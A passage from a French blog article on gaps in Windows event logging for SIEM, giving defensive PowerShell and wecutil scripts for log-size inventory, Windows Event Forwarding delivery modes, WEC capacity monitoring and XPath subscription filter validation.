<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Chemin GPO : Configuration ordinateur → Modèles d'administration → </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">             Composants Windows → Service Journal des événements → Security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Paramètre : "Spécifier la taille maximale du fichier journal (Ko)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Valeur : 4194304   (= 4 Go pour les DCs)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">         1048576   (= 1 Go pour les serveurs)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">         512000    (= 500 Mo pour les postes de travail)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Paramètre : "Contrôler le comportement du journal des événements quand le fichier atteint</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">             sa taille maximale"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Valeur : NON configuré (laisser le comportement d'écrasement par défaut)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">         [Ne PAS définir "Ne pas remplacer les événements" sauf si vous avez une collecte extrêmement rapide]</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="32-vérifier-létat-actuel-des-journaux-sur-votre-parc">3.2 Vérifier l'État Actuel des Journaux sur Votre Parc<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#32-v%C3%A9rifier-l%C3%A9tat-actuel-des-journaux-sur-votre-parc" class="hash-link" aria-label="Direct link to 3.2 Vérifier l'État Actuel des Journaux sur Votre Parc" title="Direct link to 3.2 Vérifier l'État Actuel des Journaux sur Votre Parc" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Inventaire des tailles de journaux, pourcentage de remplissage et événement le plus ancien</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$hôtes = @("DC01", "DC02", "SERVER01", "SERVER02")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$nomsJournaux = @("Security", "System", "Microsoft-Windows-Sysmon/Operational",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                  "Microsoft-Windows-PowerShell/Operational")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$rapport = @()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($ordinateur in $hôtes) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    foreach ($nomJournal in $nomsJournaux) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        try {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $journal = Invoke-Command -ComputerName $ordinateur -ScriptBlock {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                param($nj)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                $j = Get-WinEvent -ListLog $nj -ErrorAction SilentlyContinue</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                if ($j) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        NomJournal      = $j.LogName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        TailleMaxMo     = [math]::Round($j.MaximumSizeInBytes / 1MB, 1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        TailleActuelleMo= [math]::Round($j.FileSize / 1MB, 1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        PctRempli       = [math]::Round(($j.FileSize / $j.MaximumSizeInBytes) * 100, 1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        NbreEnreg       = $j.RecordCount</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        Activé          = $j.IsEnabled</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        EnregPlusAncien = if ($j.RecordCount -gt 0) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                            (Get-WinEvent -LogName $nj -MaxEvents 1 -Oldest -ErrorAction SilentlyContinue).TimeCreated</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        } else { $null }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            } -ArgumentList $nomJournal -ErrorAction SilentlyContinue</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            if ($journal) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                $journal | Add-Member -NotePropertyName NomOrdinateur -NotePropertyValue $ordinateur</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                $rapport += $journal</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        } catch {}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Signaler tout journal retenant moins de 24 heures d'événements</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$rapport | Where-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $_.EnregPlusAncien -and</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ((Get-Date) - $_.EnregPlusAncien).TotalHours -lt 24</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Select-Object NomOrdinateur, NomJournal, TailleMaxMo, PctRempli, EnregPlusAncien |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Format-Table -AutoSize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exporter le rapport complet</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$rapport | Export-Csv "inventaire_journaux.csv" -NoTypeInformation</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-4--windows-event-forwarding--le-pipeline-qui-perd-silencieusement-des-événements">Partie 4  Windows Event Forwarding : Le Pipeline Qui Perd Silencieusement des Événements<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-4--windows-event-forwarding--le-pipeline-qui-perd-silencieusement-des-%C3%A9v%C3%A9nements" class="hash-link" aria-label="Direct link to Partie 4  Windows Event Forwarding : Le Pipeline Qui Perd Silencieusement des Événements" title="Direct link to Partie 4  Windows Event Forwarding : Le Pipeline Qui Perd Silencieusement des Événements" translate="no">​</a></h2>
<p>Pour les organisations utilisant WEF/WEC plutôt que ou en plus d'un agent SIEM, le pipeline de transfert introduit des modes de défaillance supplémentaires qui sont largement invisibles sans surveillance explicite.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="41-architecture-wef-et-le-modèle-dabonnement">4.1 Architecture WEF et le Modèle d'Abonnement<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#41-architecture-wef-et-le-mod%C3%A8le-dabonnement" class="hash-link" aria-label="Direct link to 4.1 Architecture WEF et le Modèle d'Abonnement" title="Direct link to 4.1 Architecture WEF et le Modèle d'Abonnement" translate="no">​</a></h3>
<p>WEF utilise WinRM (port 5985 HTTP / 5986 HTTPS) pour transporter les événements des machines sources vers un serveur Windows Event Collector (WEC). Le flux :</p>
<!-- -->
<p><strong>Le mécanisme de signet  et comment il échoue :</strong></p>
<p>WEC maintient un signet par machine source par abonnement, suivant le dernier EventRecordID transmis avec succès. Quand une source se reconnecte après être hors ligne, le transfert reprend depuis le signet. Cela semble fiable. Il a deux modes de défaillance critiques :</p>
<ol>
<li class=""><strong>Le journal local de la source a écrasé la position du signet.</strong> Si la source était hors ligne et que son journal de sécurité s'était réécrit avant la reconnexion, le WEC reprend depuis le signet  qui n'existe plus dans le journal. Les événements entre le dernier signet et la position actuelle sont silencieusement perdus. Le WEC ne reçoit aucune notification qu'un écart existe.</li>
<li class=""><strong>Le signet lui-même est dans le registre WEC et peut être corrompu.</strong> Si le serveur WEC plante ou que le registre devient incohérent, les signets se réinitialisent, causant soit des doublons soit des événements manquants.</li>
</ol>
<p>La documentation officielle de Microsoft le reconnaît explicitement :</p>
<blockquote>
<p>"Quand le journal d'événements écrase des événements existants (entraînant une perte de données si l'appareil n'est pas connecté au Collecteur d'Événements), aucune notification n'est envoyée au collecteur WEF que des événements ont été perdus chez le client. Il n'y a pas non plus d'indicateur qu'un écart a été rencontré dans le flux d'événements."</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="42-les-trois-modes-doptimisation-de-livraison-wef">4.2 Les Trois Modes d'Optimisation de Livraison WEF<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#42-les-trois-modes-doptimisation-de-livraison-wef" class="hash-link" aria-label="Direct link to 4.2 Les Trois Modes d'Optimisation de Livraison WEF" title="Direct link to 4.2 Les Trois Modes d'Optimisation de Livraison WEF" translate="no">​</a></h3>
<p>WEF offre trois modes de livraison qui échangent latence contre fiabilité. La plupart des organisations laissent le mode par défaut, qui est optimisé pour le mauvais scénario :</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Afficher la configuration actuelle de l'abonnement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wecutil gs "BaselineSubscription"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Le champ "DeliveryMaxLatency" contrôle le mode de livraison :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Normal     (par défaut) : Délai de livraison de 15 minutes. Regroupe les événements.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::            Événements mis en tampon sur la source jusqu'à 15 minutes.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::            Lors d'un incident de 4 minutes, vous pouvez voir ZÉRO événement dans le SIEM.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Minimize Latency : Délai de livraison de 30 secondes.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::            Meilleur pour la détection mais charge WEC plus élevée.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Minimize Bandwidth : Délai de livraison de 6 heures.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::            Clairement inadapté aux cas d'utilisation sécurité.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Définir un abonnement en mode Minimize Latency :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wecutil ss "BaselineSubscription" /cm:MinLatency</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Ou définir un timing personnalisé (livraison toutes les 30 secondes, battement toutes les 60) :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wecutil ss "BaselineSubscription" /cm:Custom /hi:60000 /dmi:30000</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Vérifier :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wecutil gs "BaselineSubscription" | findstr -i "latency\|heartbeat\|delivery"</span><br></span></code></pre></div></div>
<p>En mode Normal, un incident de 15 minutes peut générer zéro alertes SIEM parce que les événements n'ont pas encore été transférés. Ce n'est pas une préoccupation théorique  c'est un comportement documenté qui impacte directement le temps moyen de détection.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="43-limites-de-capacité-du-serveur-wec-et-comportement-de-perte">4.3 Limites de Capacité du Serveur WEC et Comportement de Perte<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#43-limites-de-capacit%C3%A9-du-serveur-wec-et-comportement-de-perte" class="hash-link" aria-label="Direct link to 4.3 Limites de Capacité du Serveur WEC et Comportement de Perte" title="Direct link to 4.3 Limites de Capacité du Serveur WEC et Comportement de Perte" translate="no">​</a></h3>
<p>Un serveur WEC sur du matériel standard gère environ 3 000 événements par seconde en moyenne sur tous les abonnements. Cela semble beaucoup. Ce ne l'est pas, pour une grande entreprise.</p>
<p>Calcul : 1 000 postes de travail × 150 événements/sec chacun au pic (tempêtes de connexion, mardi des correctifs, réponse aux incidents) = 150 000 événements/sec. Un seul serveur WEC sera saturé à ~2% de cette charge.</p>
<p>Quand le serveur WEC dépasse sa capacité :</p>
<!-- -->
<p>Surveiller la santé WEC avec ces compteurs de performance :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exécuter sur le serveur WEC</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$compteurs = @(</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Event Tracing for Windows Session(EventLog-ForwardedEvents)\Events Lost',</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Event Tracing for Windows Session(EventLog-ForwardedEvents)\Events Logged per second',</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Web Service(_Total)\Current Connections',</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Web Service(_Total)\Maximum Connections',</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Processor(_Total)\% Processor Time',</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Memory\Available MBytes'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Surveillance continue avec des échantillons de 10 secondes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-Counter -Counter $compteurs -SampleInterval 10 -MaxSamples 60 |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object -ExpandProperty CounterSamples |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object Path, CookedValue, Timestamp |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Format-Table -AutoSize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Surveiller spécifiquement le compteur Events Lost  toute valeur non nulle est critique</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-Counter '\Event Tracing for Windows Session(EventLog-ForwardedEvents)\Events Lost' `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -SampleInterval 5 -MaxSamples 12 |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object -ExpandProperty CounterSamples |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Where-Object { $_.CookedValue -gt 0 } |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ForEach-Object { Write-Warning "ÉVÉNEMENTS PERDUS à $($_.Timestamp) : $($_.CookedValue)" }</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="44-filtres-dabonnement-xpath--les-lacunes-que-vous-avez-introduites-intentionnellement">4.4 Filtres d'Abonnement XPath : Les Lacunes Que Vous Avez Introduites Intentionnellement<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#44-filtres-dabonnement-xpath--les-lacunes-que-vous-avez-introduites-intentionnellement" class="hash-link" aria-label="Direct link to 4.4 Filtres d'Abonnement XPath : Les Lacunes Que Vous Avez Introduites Intentionnellement" title="Direct link to 4.4 Filtres d'Abonnement XPath : Les Lacunes Que Vous Avez Introduites Intentionnellement" translate="no">​</a></h3>
<p>Les abonnements WEF utilisent des requêtes XPath pour filtrer les événements à transmettre. Ces requêtes sont puissantes mais sujettes aux erreurs. Une erreur de syntaxe ou une logique incorrecte dans un filtre XPath exclut silencieusement des événements sans message d'erreur.</p>
<p>Exemple d'un filtre XPath cassé qui manque silencieusement des événements :</p>
<div class="language-xml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-xml codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">&lt;!-- CASSÉ : Ce filtre essaie de capturer Event ID 4688 ET 4624</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">     mais le XPath est sémantiquement incorrect  ne correspondra à rien --&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Query</span><span class="token tag" style="color:hsl(212, 92%, 35%)"> </span><span class="token tag attr-name" style="color:hsl(212, 92%, 35%)">Id</span><span class="token tag attr-value punctuation attr-equals" style="color:hsl(212, 13%, 16%)">=</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag attr-value" style="color:hsl(356, 75%, 47%)">0</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag" style="color:hsl(212, 92%, 35%)"> </span><span class="token tag attr-name" style="color:hsl(212, 92%, 35%)">Path</span><span class="token tag attr-value punctuation attr-equals" style="color:hsl(212, 13%, 16%)">=</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag attr-value" style="color:hsl(356, 75%, 47%)">Security</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Select</span><span class="token tag" style="color:hsl(212, 92%, 35%)"> </span><span class="token tag attr-name" style="color:hsl(212, 92%, 35%)">Path</span><span class="token tag attr-value punctuation attr-equals" style="color:hsl(212, 13%, 16%)">=</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag attr-value" style="color:hsl(356, 75%, 47%)">Security</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    *[System[(EventID=4688)]] AND *[System[(EventID=4624)]]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;/</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Select</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;/</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Query</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">&lt;!-- CORRECT : Utiliser des éléments Select séparés ou la syntaxe OR XPath correcte --&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Query</span><span class="token tag" style="color:hsl(212, 92%, 35%)"> </span><span class="token tag attr-name" style="color:hsl(212, 92%, 35%)">Id</span><span class="token tag attr-value punctuation attr-equals" style="color:hsl(212, 13%, 16%)">=</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag attr-value" style="color:hsl(356, 75%, 47%)">0</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag" style="color:hsl(212, 92%, 35%)"> </span><span class="token tag attr-name" style="color:hsl(212, 92%, 35%)">Path</span><span class="token tag attr-value punctuation attr-equals" style="color:hsl(212, 13%, 16%)">=</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag attr-value" style="color:hsl(356, 75%, 47%)">Security</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Select</span><span class="token tag" style="color:hsl(212, 92%, 35%)"> </span><span class="token tag attr-name" style="color:hsl(212, 92%, 35%)">Path</span><span class="token tag attr-value punctuation attr-equals" style="color:hsl(212, 13%, 16%)">=</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag attr-value" style="color:hsl(356, 75%, 47%)">Security</span><span class="token tag attr-value punctuation" style="color:hsl(212, 13%, 16%)">"</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    *[System[(EventID=4688 or EventID=4624)]]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;/</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Select</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&lt;/</span><span class="token tag" style="color:hsl(212, 92%, 35%)">Query</span><span class="token tag punctuation" style="color:hsl(212, 13%, 16%)">&gt;</span><br></span></code></pre></div></div>
<p>Valider vos filtres XPath avant déploiement :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Tester un filtre XPath sur les journaux locaux avant de le mettre dans un abonnement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Révèle si la syntaxe du filtre est correcte et retourne des événements</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$xpath = "*[System[(EventID=4688 or EventID=4624 or EventID=4625)]]"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$nomJournal = "Security"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">try {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $evenements = Get-WinEvent -LogName $nomJournal -FilterXPath $xpath -MaxEvents 10 -ErrorAction Stop</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Host "Filtre XPath valide. $($evenements.Count) événements récents correspondants."</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $evenements | Select-Object TimeCreated, Id, Message | Format-Table -AutoSize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} catch [System.Exception] {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Error "Filtre XPath INVALIDE ou aucun événement correspondant : $_"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Valider également que les IDs d'événements clés SONT présents dans le journal</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># (s'ils ne le sont pas, la stratégie d'audit ne les génère pas)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$IDsEvenementsClés = @(4688, 4624, 4625, 4672, 4698, 4719, 4776)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($id in $IDsEvenementsClés) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $nombre = (Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=$id]]" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">               -MaxEvents 1000 -ErrorAction SilentlyContinue).Count</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $statut = if ($nombre -gt 0) { "✓ Présent ($nombre dans les 1000 derniers)" } else { "⚠ ABSENT  vérifier la stratégie d'audit" }</span><br></span><span class="token-line" 